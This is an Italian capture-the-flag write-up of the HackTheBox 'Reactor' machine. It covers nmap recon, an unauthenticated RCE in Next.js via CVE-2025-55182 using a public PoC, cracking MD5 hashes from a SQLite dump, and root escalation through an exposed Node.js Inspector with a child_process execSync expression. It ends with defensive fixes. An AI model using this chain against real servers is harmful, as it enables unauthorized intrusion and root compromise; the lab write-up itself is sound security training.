linrcenmapprivescCVE-2025-55182
↓ view full writeup .txt

Writeup — Reactor (HackTheBox)

OS: Linux (Ubuntu 24.04)
Difficoltà: Easy
Data: 29 maggio 2026


Sommario

La macchina espone una webapp Next.js 15.0.3 vulnerabile a CVE-2025-55182 (React2Shell), un RCE unauthenticated nel protocollo React Server Components. Ottenuto RCE come utente node, ho dumpato un database SQLite locale, craccato un hash MD5 per la password di engineer, e fatto accesso SSH. La privilege escalation a root avviene abusando del Node.js Inspector (porta 9229) che gira come root su /opt/uptime-monitor/worker.js.

Catena: RCE Next.js → SQLite dump → MD5 crack → SSH user → Node Inspector abuse → root.


Fase 1 — Ricognizione

Port scan iniziale:

nmap -p- --min-rate=5000 10.129.9.91
nmap -sV -p 22,3000 10.129.9.91

Risultato: porta 22 (SSH, OpenSSH 9.6p1) e porta 3000. Nmap non riconosce il servizio sulla 3000, ma i response headers la identificano come Next.js:

X-Powered-By: Next.js

La webapp è una dashboard di monitoraggio chiamata ReactorWatch. Completamente statica: metriche di sistema, tre profili staff, zero form o interattività.


Fase 2 — Enumerazione web

Ho provato directory brute-forcing con dirb, che trova solo /api/cgi-bin/ con un 308. Seguendo il redirect non porta a nulla di concreto: il 308 è il comportamento standard di Next.js per il trailing slash, non indica una route reale.

Ho controllato il build manifest dell'app:

curl -s http://10.129.9.91:3000/_next/static/[build-id]/_buildManifest.js

Conferma solo due route statiche: home e pagina di errore. Non c'è nulla da fuzzare.

Ho anche tentato brute force SSH con username basati sui profili dello staff visibili nella dashboard, senza risultati.


Fase 3 — Identificazione del vettore

Testando gli endpoint interni di Next.js, l'endpoint /_next/image risponde 400 invece di 404, confermando che esiste. Più importante: la versione 15.0.3 è vulnerabile a CVE-2025-55182 (React2Shell). Lo verifico inviando una richiesta con gli header RSC tipici del protocollo React Server Components:

curl -s -H "RSC: 1" -H "Next-Action: anything" -H "Content-Type: text/plain" \
--data-binary '...' \
http://10.129.9.91:3000/ -w "%{http_code}"

Risposta 200. Il server accetta richieste RSC ed è vulnerabile.


Fase 4 — RCE via React2Shell

Clono il PoC pubblico e lo eseguo:

git clone https://github.com/jensnesten/React2Shell-PoC.git
cd React2Shell-PoC
python3 main.py http://10.129.9.91:3000 'id'

Output:

uid=999(node) gid=988(node) groups=988(node)

RCE confermato come utente node. Il PoC sfrutta la deserializzazione insicura del protocollo RSC "flight" di Next.js: invia un payload JSON malevolo via POST, il server lo deserializza ed esegue il comando embedded.

Nota tecnica: i comandi che producono output lungo o binario vengono corrotti dal parser RSC. Soluzione: redirigere su file temporaneo e fare cat separato.

python3 main.py http://10.129.9.91:3000 'ls /opt/reactor-app > /tmp/o && cat /tmp/o'

Trovo nella root dell'app un file reactor.db.


Fase 5 — Dump del database e crack hash

python3 main.py http://10.129.9.91:3000 'strings /opt/reactor-app/reactor.db > /tmp/o && cat /tmp/o'

Il database contiene una tabella users con due record. Estraggo due hash MD5. Il primo cracca su CrackStation, il secondo no (probabilmente salted).

Credenziali ottenute: engineer / [password]


Fase 6 — User flag

ssh engineer@10.129.9.91

Accesso riuscito. Il file user.txt è nella home.


Fase 7 — Privilege escalation

Enumerazione iniziale: sudo -l nega tutto, nessun SUID sospetto. Guardo i processi attivi:

ps aux | grep node

Trovo due processi Node.js. Uno gira come root con il flag --inspect=127.0.0.1:9229. Questo attiva il debugger di Node.js sulla porta 9229, che accetta connessioni WebSocket e permette di eseguire codice JavaScript arbitrario nel contesto del processo — in questo caso, root.

Recupero il session ID del debugger:

node -e "const http=require('http'); /* GET /json su 127.0.0.1:9229 */ ..."

Ottengo il webSocketDebuggerUrl con l'UUID della sessione. Il modulo ws non è disponibile, quindi costruisco l'handshake WebSocket manualmente via TCP con Python, poi invio un messaggio Chrome DevTools Protocol:

Runtime.evaluate con expression: process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()

Nota: require() diretto non funziona nel contesto V8 nudo del debugger — bisogna usare process.mainModule.require().

Il debugger esegue il comando come root e restituisce il contenuto del file nella risposta JSON.


Catena completa

RCE unauthenticated su Next.js 15.0.3 (CVE-2025-55182)
→ accesso come node (uid 999)
→ dump SQLite + crack MD5
→ SSH come engineer
→ Node.js Inspector esposto su processo root
→ esecuzione arbitraria via Chrome DevTools Protocol
→ root


Note difensive

Aggiornare Next.js a versione 15.0.5 o superiore (fix per CVE-2025-55182). Non usare --inspect su processi in produzione, e mai su processi con privilegi elevati. Sostituire MD5 con bcrypt o Argon2 per gli hash delle password. I servizi di monitoraggio non hanno bisogno di girare come root: principio di least privilege.

Proof of pwn
Proof of pwn

← indietro